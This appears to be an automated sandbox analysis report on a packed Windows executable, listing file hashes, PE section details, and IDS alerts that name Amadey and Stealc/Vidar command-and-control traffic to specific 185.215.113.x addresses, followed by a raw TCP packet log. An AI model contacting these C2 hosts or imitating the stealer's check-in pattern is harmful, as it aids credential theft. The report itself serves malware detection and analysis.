Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9428220266369305
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'787'392 bytes
MD5:	0c50a08dffa73cfbb9ee5ba4382bdefc
SHA1:	b21d45218d280416859c21b9c628315d6d71690f
SHA256:	ea7617b4a5571a89a06ef9bb195dc92a178ea4e0a6a514030eb288f54d26f0a3
SHA512:	529275d8e96270c711ecee981bb07a3e70eab1a01e3550898449cc9cf2da57b0e823d36fcbfca92f006ebd2b47dd1e9d7dbf2367baf14e010f179e521eeabeea
SSDEEP:	49152:trCQTxztO4r76EMuOfB/vxbPGpz5aFot5wlN:zrO276+6B/ZbYaFo5wlN
TLSH:	D48533A1DF92D553C9AC46355DE250833FF2CE3CA1320013985ABE0DC9972C59FFA99A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa88000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD5E84F11CAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	b98746a955c74bd03d032cf066425220	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	d135aedcfdec1c3a952b50d2e158e32c	False	0.580078125	data	4.56495509740954	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a0000	0x200	1f6ca99ec04602f66c7037c05998b125	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cyyltpmo	0x4ec000	0x19b000	0x19a600	4959f0ec69cafa6bc48af9a4908f9782	False	0.9945231590770637	data	7.9526722811295105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zxlgbnji	0x687000	0x1000	0x600	e70bde89f1fd88ae360b4698bec0a1c6	False	0.5865885416666666	data	5.069253652524287	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x688000	0x3000	0x2200	abadab8b87bf8fb615eb507e6df6daee	False	0.06744025735294118	DOS executable (COM)	0.7685035682017487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6862c4	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T18:57:04.436930+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50099	TCP
2024-11-20T18:57:17.061773+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T18:57:17.527887+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T18:57:17.655395+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-11-20T18:57:17.986942+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T18:57:18.108326+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49715	TCP
2024-11-20T18:57:19.610242+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T18:57:20.389490+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49715	185.215.113.206	80	TCP
2024-11-20T18:57:43.390104+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:45.517148+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:46.920325+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:48.161666+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:52.016350+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:53.160714+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49794	185.215.113.206	80	TCP
2024-11-20T18:57:59.036930+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49929	185.215.113.16	80	TCP
2024-11-20T18:59:05.621338+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50091	185.215.113.43	80	TCP
2024-11-20T18:59:10.273168+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50103	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 18:57:04.436929941 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.437016964 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.437053919 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.437093973 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.437117100 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:04.437155962 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:04.445533991 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.445692062 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.445753098 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:04.455106020 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.455167055 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.455239058 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:04.462863922 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.462984085 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.463047028 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:04.489537001 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:04.489604950 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:04.609488010 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.609539032 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.609571934 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.609601974 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.609632969 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:04.612972021 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:04.616223097 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:04.616450071 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:04.616600990 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:04.736236095 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:04.736366034 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:04.736397028 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:05.137887955 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.138025999 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.138099909 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.142317057 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.142358065 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.142416000 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.150835037 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.154015064 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.154066086 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.154081106 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.162650108 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.162720919 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.162746906 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.166174889 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:05.171390057 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.171447992 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.194042921 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.194103003 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.194508076 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.194552898 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.194638968 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.194833040 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.194844007 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.216702938 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:05.313689947 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.313730001 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.313812971 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.313846111 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.313896894 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.395260096 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:05.450953960 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:05.596507072 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:05.597810030 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:05.716610909 CET	49674	443	192.168.2.6	173.222.162.64
Nov 20, 2024 18:57:05.716610909 CET	49673	443	192.168.2.6	173.222.162.64
Nov 20, 2024 18:57:05.717264891 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:05.902786970 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.902867079 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.902971983 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.907105923 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.908811092 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.908860922 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.908895969 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.917475939 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.917583942 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.917862892 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.926204920 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.926300049 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:05.926359892 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.934695959 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:05.934779882 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:06.029171944 CET	49672	443	192.168.2.6	173.222.162.64
Nov 20, 2024 18:57:06.104227066 CET	443	49706	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:06.147149086 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:06.154059887 CET	49706	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:06.200920105 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:06.873366117 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:06.873447895 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:06.873570919 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:06.874258041 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:06.874277115 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:07.156115055 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.156214952 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.174810886 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.174828053 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.175107002 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.175484896 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.175555944 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.175595999 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.344944000 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:07.344985962 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:07.345065117 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:07.345179081 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:07.345206022 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:07.345257998 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:07.347299099 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:07.347325087 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:07.347553015 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:07.347569942 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:07.938055992 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.938081026 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.938133001 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.938189030 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.938201904 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.938245058 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.938980103 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.938997030 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:07.939129114 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.939162016 CET	443	49708	40.126.53.12	192.168.2.6
Nov 20, 2024 18:57:07.939209938 CET	49708	443	192.168.2.6	40.126.53.12
Nov 20, 2024 18:57:09.158047915 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.158143044 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.165124893 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.165193081 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.168684006 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.168694973 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.169363022 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.173373938 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.173449993 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.173456907 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.173660040 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.219324112 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.251077890 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.251106977 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.252070904 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.252152920 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.253312111 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.253475904 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.275306940 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.275424004 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.278517008 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.278558969 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.278820038 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.278841019 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.279007912 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.279083014 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.644421101 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.644444942 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.644511938 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.644534111 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.644541979 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.644582033 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.644601107 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.644637108 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.664978981 CET	49712	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.665015936 CET	443	49712	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.723432064 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.724020958 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.724091053 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.725220919 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.725238085 CET	443	49709	20.198.119.84	192.168.2.6
Nov 20, 2024 18:57:09.725256920 CET	49709	443	192.168.2.6	20.198.119.84
Nov 20, 2024 18:57:09.913351059 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.913428068 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.913440943 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.913453102 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.913492918 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.913510084 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:09.913599014 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.914061069 CET	49711	443	192.168.2.6	20.223.35.26
Nov 20, 2024 18:57:09.914077044 CET	443	49711	20.223.35.26	192.168.2.6
Nov 20, 2024 18:57:10.142206907 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:10.142246008 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:10.142318964 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:10.143482924 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:10.143513918 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:12.565968990 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:12.566097021 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:12.617827892 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:12.617847919 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:12.618227959 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:12.619797945 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:12.619926929 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:12.619932890 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:12.620101929 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:12.667360067 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:13.290755033 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:13.290822983 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:13.290889025 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:13.291035891 CET	49714	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:13.291048050 CET	443	49714	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:15.104432106 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:15.225050926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:15.225200891 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:15.225853920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:15.325934887 CET	49673	443	192.168.2.6	173.222.162.64
Nov 20, 2024 18:57:15.326123953 CET	49674	443	192.168.2.6	173.222.162.64
Nov 20, 2024 18:57:15.345331907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:15.615803957 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:15.615854979 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:15.616899967 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:15.617312908 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:15.617330074 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:15.638444901 CET	49672	443	192.168.2.6	173.222.162.64
Nov 20, 2024 18:57:16.586025953 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:16.586081982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:16.589507103 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:16.710306883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.061686039 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.061773062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.064029932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.184274912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.348403931 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:17.348642111 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:17.351979017 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:17.351986885 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:17.352232933 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:17.361275911 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:17.407373905 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:17.527759075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.527887106 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.528004885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.528053999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.529114008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:17.655395031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:17.828198910 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:17.828222036 CET	443	49716	13.107.246.63	192.168.2.6
